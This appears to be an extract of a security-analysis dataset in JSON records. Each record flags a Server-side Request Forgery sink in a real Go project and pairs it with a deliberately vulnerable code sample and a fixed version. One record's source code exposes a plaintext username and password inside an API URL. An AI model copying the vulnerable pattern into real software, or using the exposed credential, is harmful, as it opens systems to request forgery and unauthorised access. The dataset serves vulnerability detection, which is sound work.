NyaaCategory{\"All literature\", 3, 0}\n\tLiteratureEnglishTranslated = NyaaCategory{\"Literature English translated\", 3, 1}\n\tLiteratureNonEnglishTranslated = NyaaCategory{\"Literature non English translated\", 3, 2}\n\tLiteratureRaw = NyaaCategory{\"Literature raw\", 3, 3}\n\n\tLiveAction = NyaaCategory{\"Live action all\", 4, 0}\n\tLiveActionEnglishTranslated = NyaaCategory{\"Live action English translated\", 4, 1}\n\tLiveActionIdolOrPromotionalVideo = NyaaCategory{\"Live action idol/promotional video\", 4, 2}\n\tLiveActionNonEnglishTranslated = NyaaCategory{\"Live action non English translated\", 4, 3}\n\tLiveActionRaw = NyaaCategory{\"Live action raw\", 4, 4}\n\n\tPictures = NyaaCategory{\"Pictures all\", 5, 0}\n\tPicturesGraphics = NyaaCategory{\"Graphics\", 5, 1}\n\tPicturesPhotos = NyaaCategory{\"Photos\", 5, 2}\n\n\tSoftware = NyaaCategory{\"Software all\", 6, 0}\n\tSoftwareApplications = NyaaCategory{\"Applications\", 6, 1}\n\tSoftwareGames = NyaaCategory{\"Games\", 6, 2}\n)\n\nvar Categories = []NyaaCategory{\n\tAllCategories,\n\tAnime,\n\tAnimeMusicVideo,\n\tAnimeEnglishTranslated,\n\tAnimeNonEnglishTranslated,\n\tAnimeRaw,\n\tAudio,\n\tAudioLossless,\n\tAudioLossy,\n\tLiterature,\n\tLiteratureEnglishTranslated,\n\tLiteratureNonEnglishTranslated,\n\tLiteratureRaw,\n\tLiveAction,\n\tLiveActionEnglishTranslated,\n\tLiveActionIdolOrPromotionalVideo,\n\tLiveActionNonEnglishTranslated,\n\tLiveActionRaw,\n\tPictures,\n\tPicturesGraphics,\n\tPicturesPhotos,\n\tSoftware,\n\tSoftwareApplications,\n\tSoftwareGames,\n}\n\nfunc GetNyaaCategory(major, minor int) NyaaCategory {\n\tfor _, c := range Categories {\n\t\tif c.Major == major && c.Minor == minor {\n\t\t\treturn c\n\t\t}\n\t}\n\treturn NyaaCategory{\"Unknown\", major, minor}\n}\n\ntype NyaaFilter struct {\n\tName string\n\tVal uint8\n}\n\nvar (\n\tNoFilter = NyaaFilter{\"No filter\", 0}\n\tNoRemakes = NyaaFilter{\"No remakes\", 1}\n\tTrustedOnly = NyaaFilter{\"Trusted only\", 2}\n)\n\nfunc (filter NyaaFilter) QueryParam() string {\n\treturn fmt.Sprintf(\"f=%d\", filter.Val)\n}\n\nfunc (filter NyaaFilter) String() string {\n\treturn filter.Name\n}\n\nvar Filters = []NyaaFilter{\n\tNoFilter,\n\tNoRemakes,\n\tTrustedOnly,\n}\n\ntype NyaaClass uint8\n\nconst (\n\tDefault NyaaClass = iota\n\tTrusted\n\tDanger\n)\n\nfunc ParseNyaaClass(str string) NyaaClass {\n\tswitch strings.ToLower(str) {\n\tcase \"success\":\n\t\treturn Trusted\n\tcase \"danger\":\n\t\treturn Danger\n\tdefault:\n\t\treturn Default\n\t}\n}\n\ntype NyaaEntry struct {\n\tCategory NyaaCategory\n\tClass NyaaClass\n\tTitle string\n\tTorrentLink string\n\tMagnetLink string\n\tSize string\n\tDateAdded time.Time\n\tSeeders int\n\tLeechers int\n\tCompletedDownloads int\n}\n\nconst nyaaQueryPattern = \"https://nyaa.si/?%s&%s&p=%d&q=%s\"\n\ntype NyaaResultPage struct {\n\tDisplayedFrom int\n\tDisplayedTo int\n\tDisplayedOutOf int\n\n\tResults []NyaaEntry\n}\n\nfunc Search(query string, category NyaaCategory, filter NyaaFilter) (NyaaResultPage, error) {\n\treturn SearchSpecificPage(query, category, filter, 1)\n}\n\nfunc SearchSpecificPage(query string, category NyaaCategory, filter NyaaFilter, page int) (NyaaResultPage, error) {\n\tresultPage := NyaaResultPage{}\n\n\taddress := fmt.Sprintf(nyaaQueryPattern, filter.QueryParam(), category.QueryParam(),\n\t\tpage, url.QueryEscape(query))\n\trespBody, err := doRequest(address)\n\tif err != nil {\n\t\tif respBody != nil {\n\t\t\trespBody.Close()\n\t\t}\n\t\treturn resultPage, fmt.Errorf(\"request failed: %v\", err)\n\t}\n\tdefer respBody.Close()\n\n\tdoc, err := goquery.NewDocumentFromReader(respBody)\n\tif err != nil {\n\t\treturn resultPage, fmt.Errorf(\"error parsing response: %v\", err)\n\t}\n\n\trows := doc.Find(\".torrent-list > tbody\").Children()\n\tresultPage.Results = make([]NyaaEntry, rows.Size())\n\n\trows.Each(func(i int, sel *goquery.Selection) {\n\t\tresultPage.Results[i] = *parseNyaaEntry(sel)\n\t})\n\n\tinfo := strings.TrimSpace(doc.Find(\"div .pagination-page-info\").Text())\n\n\tre := regexp.MustCompile(\"[0-9]+\")\n\tnumbers := re.FindAllString(info, -1)\n\n\tif len(numbers) < 3 {\n\t\treturn resultPage, fmt.Errorf(\"regexp failed (returned less than 3 resutls)\")\n\t}\n\tresultPage.DisplayedFrom, _ = strconv.Atoi(numbers[0])\n\tresultPage.DisplayedTo, _ = strconv.Atoi(numbers[1])\n\tresultPage.DisplayedOutOf, _ = strconv.Atoi(numbers[2])\n\n\treturn resultPage, nil\n}\n\nfunc parseNyaaEntry(sel *goquery.Selection) *NyaaEntry {\n\tentry := NyaaEntry{}\n\n\tentry.Class = ParseNyaaClass(sel.AttrOr(\"class\", \"default\"))\n\n\tcurrChild := sel.Children().First()\n\tcategory := currChild.Find(\"a\").AttrOr(\"href\", \"\")\n\tmajor, _ := strconv.Atoi(category[4:5])\n\tminor, _ := strconv.Atoi(category[6:7])\n\tentry.Category = GetNyaaCategory(major, minor)\n\n\tcurrChild = currChild.Next()\n\tentry.Title = currChild.Find(\"a\").Last().AttrOr(\"title\", \"\")\n\n\tcurrChild = currChild.Next()\n\tlinks := currChild.Find(\"a\")\n\tentry.TorrentLink = \"https://nyaa.si\" + links.AttrOr(\"href\", \"\")\n\tentry.MagnetLink = links.Next().AttrOr(\"href\", \"\")\n\n\tcurrChild = currChild.Next()\n\tentry.Size = strings.TrimSpace(currChild.Text())\n\n\tcurrChild = currChild.Next()\n\ttimestamp, _ := strconv.Atoi(currChild.AttrOr(\"data-timestamp\", \"0\"))\n\tentry.DateAdded = time.Unix(int64(timestamp), 0)\n\n\tcurrChild = currChild.Next()\n\tseeders, _ := strconv.Atoi(currChild.Text())\n\tentry.Seeders = seeders\n\n\tcurrChild = currChild.Next()\n\tleechers, _ := strconv.Atoi(currChild.Text())\n\tentry.Leechers = leechers\n\n\tcurrChild = currChild.Next()\n\tcompletedDownloads, _ := strconv.Atoi(currChild.Text())\n\tentry.CompletedDownloads = completedDownloads\n\n\treturn &entry\n}\n\n//Note: do not forget to close the returned ReadCloser\nfunc doRequest(address string) (io.ReadCloser, error) {\n\treq, err := http.NewRequest(http.MethodGet, address, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header.Add(\"Accept-Encoding\", \"gzip\")\n\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.StatusCode != 200 {\n\t\treturn nil, fmt.Errorf(\"searching failed; server returned: %s\", resp.Status)\n\t}\n\n\treturn gzip.NewReader(resp.Body)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 254, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "ff631120aa6a8fb62865112e9d262b60abd5e448b4120e5ac8e714c96f95891c", "license": {"spdx": ["MIT"], "repo": "brandon-bailey/tfsec", "path": "cmd/tfsec-skeleton/generation.go", "repo_head_hexsha": "76ccc97ac4afe1246d471c3fea021354f90f61b4", "stack_hexsha": "70a2559d1719513d9e8f67e2b0c3d6fb80556896", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 132, "entireCode": "package main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/liamg/clinch/prompt\"\n)\n\nvar providers = []string{\n\t\"AWS\",\n\t\"Azure\",\n\t\"DigitalOcean\",\n\t\"General\",\n\t\"GitHub\",\n\t\"Google\",\n\t\"Kubernetes\",\n\t\"OpenStack\",\n\t\"CloudStack\",\n\t\"Oracle\",\n}\n\nfunc writeTemplate(checkPath string, checkTmpl *template.Template, definition Definition) error {\n\tcheckFile, err := os.Create(checkPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() { _ = checkFile.Close() }()\n\terr = checkTmpl.Execute(checkFile, definition)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc verifyPathDoesNotExist(checkPath string, forceOverwrite bool) error {\n\tstat, _ := os.Stat(checkPath)\n\tif stat != nil {\n\t\tfile, err := ioutil.ReadFile(checkPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif !forceOverwrite {\n\t\t\treturn fmt.Errorf(\"file [%s] already exists so not creating check\", checkPath)\n\t\t}\n\t\tif strings.Contains(string(file), \"// generator-locked\") {\n\t\t\treturn fmt.Errorf(\"file [%s] is locked for update, remove comment to overwrite\", checkPath)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc inputYesNo(msg string) bool {\n\tfailForDefaultStr := prompt.EnterInputWithDefault(fmt.Sprintf(\"%s (Y/n)\", msg), \"y\")\n\treturn strings.ToLower(failForDefaultStr[0:1]) == \"y\"\n}\n\nfunc enterInterfaceValue(msg string) interface{} {\n\traw := prompt.EnterInput(msg)\n\n\treturn convertToInterface(raw)\n}\n\nfunc convertToInterface(raw string) interface{} {\n\n\tif strings.Contains(raw, \",\") {\n\t\treturn strings.Split(raw, \",\")\n\t}\n\n\tlower := strings.ToLower(raw)\n\tif lower == \"true\" || lower == \"false\" {\n\t\treturn lower == \"true\"\n\t}\n\n\tif i, err := strconv.Atoi(raw); err == nil {\n\t\treturn i\n\t}\n\n\treturn raw\n}\n\nfunc findDocLink(provider string, blockType string, blockLabel string, attribute string) string {\n\tprovider = strings.ToLower(provider)\n\ttypeStr := \"resources\"\n\tshortCode := \"r\"\n\tif blockType == \"data\" {\n\t\ttypeStr = \"data-sources\"\n\t\tshortCode = \"d\"\n\t}\n\n\tif urlIsGood(fmt.Sprintf(\n\t\t\"https://raw.githubusercontent.com/hashicorp/terraform-provider-%s/master/website/docs/%s/%s.html.markdown\",\n\t\tprovider,\n\t\tshortCode,\n\t\tblockLabel,\n\t)) {\n\t\treturn fmt.Sprintf(\n\t\t\t\"https://registry.terraform.io/providers/hashicorp/%s/latest/docs/%s/%s#%s\",\n\t\t\tprovider,\n\t\t\ttypeStr,\n\t\t\tblockLabel,\n\t\t\tattribute,\n\t\t)\n\t}\n\n\tshortBlock := strings.TrimPrefix(blockLabel, provider+\"_\")\n\tif urlIsGood(fmt.Sprintf(\n\t\t\"https://raw.githubusercontent.com/hashicorp/terraform-provider-%s/master/website/docs/%s/%s.html.markdown\",\n\t\tprovider,\n\t\tshortCode,\n\t\tshortBlock,\n\t)) {\n\t\treturn fmt.Sprintf(\n\t\t\t\"https://registry.terraform.io/providers/hashicorp/%s/latest/docs/%s/%s#%s\",\n\t\t\tprovider,\n\t\t\ttypeStr,\n\t\t\tshortBlock,\n\t\t\tattribute,\n\t\t)\n\t}\n\n\treturn \"\"\n}\n\nfunc urlIsGood(url string) bool {\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn false\n\t}\n\tdefer resp.Body.Close()\n\treturn resp.StatusCode < 400\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 132, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "00a93181b4629ef54cf9ed7b7e0ca351a6ef0fcd90950ba445c5cd094652fc5a", "license": {"spdx": ["Apache-2.0"], "repo": "nerfmiester/nccmon", "path": "nccmon.go", "repo_head_hexsha": "fbf8201fb906414f38bf0859861df3f1816118fe", "stack_hexsha": "c1634d9c4842a7264a101ba55af236709a750258", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 191, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"encoding/gob\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"sort\"\n\n\tas \"github.com/aerospike/aerospike-client-go\"\n)\n\ntype nccTestRes struct {\n\tVersion string `json:\"Version\"`\n\tRequest struct {\n\t\tReturn string `json:\"Return\"`\n\t\tAccountID string `json:\"AccountId\"`\n\t\tID string `json:\"Id\"`\n\t\tStartDate string `json:\"StartDate\"`\n\t\tEndDate string `json:\"EndDate\"`\n\t\tLimitTestResults string `json:\"LimitTestResults\"`\n\t\tFormat string `json:\"Format\"`\n\t} `json:\"Request\"`\n\tResponse struct {\n\t\tStatus string `json:\"Status\"`\n\t\tCode int `json:\"Code\"`\n\t\tMessage string `json:\"Message\"`\n\t\tAccount struct {\n\t\t\tPages struct {\n\t\t\t\tPage struct {\n\t\t\t\t\tTestResults struct {\n\t\t\t\t\t\tTestResult []struct {\n\t\t\t\t\t\t\tLocalDateTime string `json:\"LocalDateTime\"`\n\t\t\t\t\t\t\tTestResultDetails struct {\n\t\t\t\t\t\t\t\tResultDetail []struct {\n\t\t\t\t\t\t\t\t\tObjectURL string `json:\"ObjectUrl\"`\n\t\t\t\t\t\t\t\t\tTransferredBytes string `json:\"TransferredBytes\"`\n\t\t\t\t\t\t\t\t\tContentSeconds float64 `json:\"ContentSeconds\"`\n\t\t\t\t\t\t\t\t\tTotalSeconds float64 `json:\"TotalSeconds\"`\n\t\t\t\t\t\t\t\t\tGzipSavingPercentage float64 `json:\"GzipSavingPercentage\"`\n\t\t\t\t\t\t\t\t\tStatusCode string `json:\"StatusCode\"`\n\t\t\t\t\t\t\t\t} `json:\"ResultDetail\"`\n\t\t\t\t\t\t\t} `json:\"TestResultDetails\"`\n\t\t\t\t\t\t} `json:\"TestResult\"`\n\t\t\t\t\t} `json:\"TestResults\"`\n\t\t\t\t} `json:\"Page\"`\n\t\t\t} `json:\"Pages\"`\n\t\t} `json:\"Account\"`\n\t} `json:\"Response\"`\n}\n\ntype store struct {\n\tRunDate string\n\tRunBytes string\n\tContentSecs float64\n\tRunResultSecs float64\n\tGzipSavePercent float64\n\tRunStatusCode string\n}\n\ntype siteConfidenceAPI struct {\n\tVersion string `json:\"Version\"`\n\tRequest string `json:\"Request\"`\n\tResponse struct {\n\t\tStatus string `json:\"Status\"`\n\t\tCode int `json:\"Code\"`\n\t\tMessage string `json:\"Message\"`\n\t\tAPIKey struct {\n\t\t\tLifetime int `json:\"Lifetime\"`\n\t\t\tValue string `json:\"Value\"`\n\t\t} `json:\"ApiKey\"`\n\t} `json:\"Response\"`\n}\n\ntype stores []store\n\n// Host is .\nvar Host = flag.String(\"h\", \"127.0.0.1\", \"Aerospike server seed hostnames or IP addresses\")\n\n// Port is .\nvar Port = flag.Int(\"p\", 3000, \"Aerospike server seed hostname or IP address port number.\")\n\n// Namespace is .\n//var Namespace = flag.String(\"n\", \"test\", \"Aerospike namespace.\")\nvar storeB bytes.Buffer\n\n// Set is .\n//var Set = flag.String(\"s\", \"testset\", \"Aerospike set name.\")\n\nfunc init() {\n\n}\n\n// one to one\nfunc main() {\n\tflag.Parse()\n\t_, err := initDb(\"127.0.0.1\", 3000)\n\tpanicOnError(err)\n\tfmt.Println(\"About to encode\")\n\tenc := gob.NewEncoder(&storeB) // Will write to network.\n\t//\tdec := gob.NewDecoder(&storeB) // Will read from network.\n\tfmt.Println(\"Woo hoo\")\n\tvar url string\n\n\tstrre := store{}\n\t//\tvar keys []*as.Key\n\trunOutput := make(map[string][]store)\n\n\tapiKey := &siteConfidenceAPI{}\n\tapiKeyURL := \"https://api.siteconfidence.co.uk/current/username/ad.@isth.com/password/JDw!QcC6&lY45Zh/Format/json\"\n\n\tgetJSON(apiKeyURL, apiKey)\n\tfmt.Printf(\"the api key is %v \\n\", apiKey.Response.APIKey.Value)\n\tqry := fmt.Sprintf(\"https://api.siteconfidence.co.uk/current/%v/Return/[Account[Pages[Page[TestResults[TestResult[LocalDateTime,TestResultDetails[ResultDetail[ObjectUrl,TransferredBytes,ContentSeconds,TotalSeconds,GzipSavingPercentage,StatusCode]]]]]]]]/AccountId/MN1A6642/Id//StartDate/2016-09-01/EndDate/2016-09-02/ShowSteps/1/LimitTestResults/9999/Format/json/\", apiKey.Response.APIKey.Value)\n\n\tres := &nccTestRes{}\n\n\tgetJSON(qry, res)\n\n\tfor _, x := range res.Response.Account.Pages.Page.TestResults.TestResult {\n\t\tstrre.RunDate = x.LocalDateTime\n\n\t\tfor _, y := range x.TestResultDetails.ResultDetail {\n\t\t\turl = y.ObjectURL\n\t\t\tstrre.RunResultSecs = y.TotalSeconds\n\t\t\tstrre.RunStatusCode = y.StatusCode\n\t\t\tstrre.ContentSecs = y.ContentSeconds\n\t\t\tstrre.GzipSavePercent = y.GzipSavingPercentage\n\t\t\tstrre.RunBytes = y.TransferredBytes\n\t\t\t//err = enc.Encode(strre)\n\t\t\t//if err != nil {\n\t\t\t//log.Fatal(\"encode error:\", err)\n\t\t\t//}\n\t\t\t//fmt.Println(\"strre--->\", strre)\n\t\t\trunOutput[url] = append(runOutput[url], strre)\n\n\t\t}\n\n\t}\n\t// Closures that order the Planet structure.\n\ttotSecs := func(s1, s2 *store) bool {\n\t\treturn s1.RunResultSecs < s2.RunResultSecs\n\t}\n\tfor _, v := range runOutput {\n\n\t\t//\tfmt.Println(\"K--->\", k)\n\t\tfmt.Println(\"V--->\", v)\n\n\t\t//reader := bytes.NewReader(v)\n\t\t//\tdec := gob.NewDecoder(&storeB)\n\t\t//\t\tt := make([]store, 10)\n\n\t\t//\terr = dec.Decode(&t)\n\t\t//\t\tif err != nil {\n\t\t//\t\t\tlog.Fatal(\"decode error 1x:\", err)\n\t\t//\t\t}\n\t\tfmt.Println(\"t before sort --->\", v)\n\t\tBy(totSecs).Sort(v)\n\t\tfmt.Println(\"t after sort --->\", v)\n\t\terr = enc.Encode(v)\n\t\tpanicOnError(err)\n\t\tfmt.Println(\"after encoding ---->\", string(storeB.Bytes()))\n\n\t\t/* if err != nil {\n\t\t\tlog.Fatal(\"encode error:\", err)\n\t\t}\n\t\tfmt.Println(\"before put rec--->\")\n\t\t//k1, err := putRec(k, storeB.Bytes(), client)\n\t\tfmt.Println(\"Past put rec--->\")\n\t\tpanicOnError(err)\n\t\tkeys = append(keys, k1) */\n\n\t\t/*\n\t\t\tfmt.Println(\"K--->\", k)\n\t\t\tfmt.Println(\"V--->\", v)\n\t\t*/\n\t\t//\t}\n\t\t//for _, v := range keys {\n\t\t/*\tval, err := getRec(v, client)\n\t\t\tpanicOnError(err)\n\n\t\t\tfmt.Println(\"V--->\", val) */\n\t}\n\t//fmt.Printf(\"%v\\n\", runOutput)\n}\n\nfunc getJSON(url string, target interface{}) error {\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Println(\"Error reading toml file\")\n\t}\n\n\tdefer resp.Body.Close()\n\n\treturn json.NewDecoder(resp.Body).Decode(target)\n\n}\n\nfunc (slice *storeSorter) Len() int {\n\treturn len(slice.stores)\n}\n\nfunc (slice *storeSorter) Less(i, j int) bool {\n\treturn slice.stores[i].RunResultSecs < slice.stores[j].RunResultSecs\n}\n\nfunc (slice *storeSorter) Swap(i, j int) {\n\tslice.stores[i], slice.stores[j] = slice.stores[j], slice.stores[i]\n}\n\n// By is the type of a \"less\" function that defines the ordering of its Planet arguments.\ntype By func(p1, p2 *store) bool\n\n// Sort is a method on the function type, By, that sorts the argument slice according to the function.\nfunc (by By) Sort(stores []store) {\n\tps := &storeSorter{\n\t\tstores: stores,\n\t\tby: by, // The Sort method's receiver is the function (closure) that defines the sort order.\n\t}\n\tsort.Sort(ps)\n}\n\n// planetSorter joins a By function and a slice of Planets to be sorted.\ntype storeSorter struct {\n\tstores []store\n\tby func(p1, p2 *store) bool // Closure used in the Less method.\n}\n\nfunc initDb(host string, port int) (*as.Client, error) {\n\tif Client, err := as.NewClient(host, port); err != nil {\n\t\tfmt.Println(\"err -> \", err)\n\t\treturn nil, err\n\t} else {\n\t\treturn Client, nil\n\t}\n}\n\nfunc putRec(k string, v []byte, client *as.Client) (*as.Key, error) {\n\n\tkey, _ := as.NewKey(\"tester\", \"testSet\", k)\n\tfmt.Println(\"V fputrec --->\", v)\n\tbin := as.NewBin(\"bin1\", v)\n\n\tlog.Printf(\"Single Put: namespace=%s set=%s key=%s value=%s\",\n\t\tkey.Namespace(), key.SetName(), key.Value(), bin.Value)\n\n\tclient.PutBins(as.NewWritePolicy(0, 0), key, bin)\n\n\tlog.Printf(\"Single Get: namespace=%s set=%s key=%s\", key.Namespace(), key.SetName(), key.Value())\n\n\treturn key, nil\n}\n\nfunc getRec(k *as.Key, client *as.Client) (string, error) {\n\n\tif record, err := client.Get(as.NewPolicy(), k); err != nil {\n\t\tfmt.Println(\"err -> \", err)\n\t\treturn \"\", err\n\t} else {\n\n\t\tt := []store{}\n\t\tdec := gob.NewDecoder(&storeB)\n\t\terr = dec.Decode(&t)\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"decode error 1:\", err)\n\t\t}\n\t\treturn record.String(), nil\n\t}\n\n}\n\nfunc panicOnError(err error) {\n\tif err != nil {\n\t\tfmt.Println(\"we know\")\n\t\tpanic(err)\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 191, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "23181373e05c7cf1c161bb55d3941b815476cd16731e10dc4238fb757e8a6523", "license": {"spdx": ["MIT"], "repo": "niicojs/addic7eddler.go", "path": "main.go", "repo_head_hexsha": "e3a5147d4c802d3517f4fabf90822361386717a1", "stack_hexsha": "fa480aaa4c198bab953266168ba309aa19c95058", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 77, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/PuerkitoBio/goquery\"\n\t\"github.com/olebedev/config\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/cookiejar\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\n// Show define a show\ntype Show struct {\n\tID string\n\tName string\n\tURL string\n}\n\n// Episode define an episode (like season 1, episode 2 of a show)\ntype Episode struct {\n\tSeason string\n\tEpisode string\n\tLang string\n\tVersion string\n\tCompleted bool\n\tURL string\n}\n\n// HistoryEntry represent each entry in download history\ntype HistoryEntry struct {\n\tName string `json:\"show\"`\n\tURL string `json:\"url\"`\n}\n\nvar client *http.Client\nvar appconfig *config.Config\nvar history []HistoryEntry\n\nfunc loadConfig() *config.Config {\n\tdata, err := ioutil.ReadFile(\"config.yaml\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tcfg, err := config.ParseYaml(string(data))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn cfg\n}\n\nfunc loadHistory() []HistoryEntry {\n\tvar loaded = make([]HistoryEntry, 0)\n\tdata, err := ioutil.ReadFile(\"history.json\")\n\tif err != nil {\n\t\tfmt.Println(\"No history?\")\n\t\treturn loaded\n\t}\n\terr = json.Unmarshal(data, &loaded)\n\tif err != nil {\n\t\tfmt.Println(\"Error loading history, invalid json\")\n\t\treturn loaded\n\t}\n\treturn loaded\n}\n\nfunc saveHistory() {\n\tdata, _ := json.MarshalIndent(history, \"\", \" \")\n\tioutil.WriteFile(\"history.json\", data, 0644)\n}\n\nfunc buildReq(url string) *http.Request {\n\treq, _ := http.NewRequest(\"GET\", url, nil)\n\treq.Header.Add(\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\")\n\treq.Header.Add(\"Accept-Language\", \"fr,en-US;q=0.9,en;q=0.8\")\n\treq.Header.Add(\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.45 Safari/537.36\")\n\treturn req\n}\n\nfunc getAllShows() []Show {\n\tshows := make([]Show, 0)\n\treq := buildReq(\"http://www.addic7ed.com/shows.php\")\n\tresponse, err := client.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer response.Body.Close()\n\tdoc, _ := goquery.NewDocumentFromReader(response.Body)\n\tdoc.Find(\"a\").FilterFunction(func(i int, s *goquery.Selection) bool {\n\t\thref, exists := s.Attr(\"href\")\n\t\treturn exists && strings.Index(href, \"/show/\") == 0\n\t}).Each(func(i int, s *goquery.Selection) {\n\t\thref, _ := s.Attr(\"href\")\n\t\tname := s.Text()\n\t\tid := strings.Replace(href, \"/show/\", \"\", -1)\n\t\turl := \"http://www.addic7ed.com\" + href\n\t\tshows = append(shows, Show{ID: id, Name: name, URL: url})\n\t})\n\treturn shows\n}\n\nfunc pickShows(shows []Show) []Show {\n\texists := make(map[string]bool)\n\tfilter, _ := appconfig.List(\"shows\")\n\tfor _, show := range filter {\n\t\tname := show.(string)\n\t\texists[name] = true\n\t}\n\tfiltered := make([]Show, 0)\n\tfor _, show := range shows {\n\t\tif exists[show.Name] {\n\t\t\tfiltered = append(filtered, show)\n\t\t}\n\t}\n\treturn filtered\n}\n\nfunc filterWithHistory(episodes []Episode) []Episode {\n\tfiltered := make([]Episode, 0)\n\tfor _, episode := range episodes {\n\t\tfound := false\n\t\tfor _, done := range history {\n\t\t\tif episode.URL == done.URL {\n\t\t\t\tfound = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\tfiltered = append(filtered, 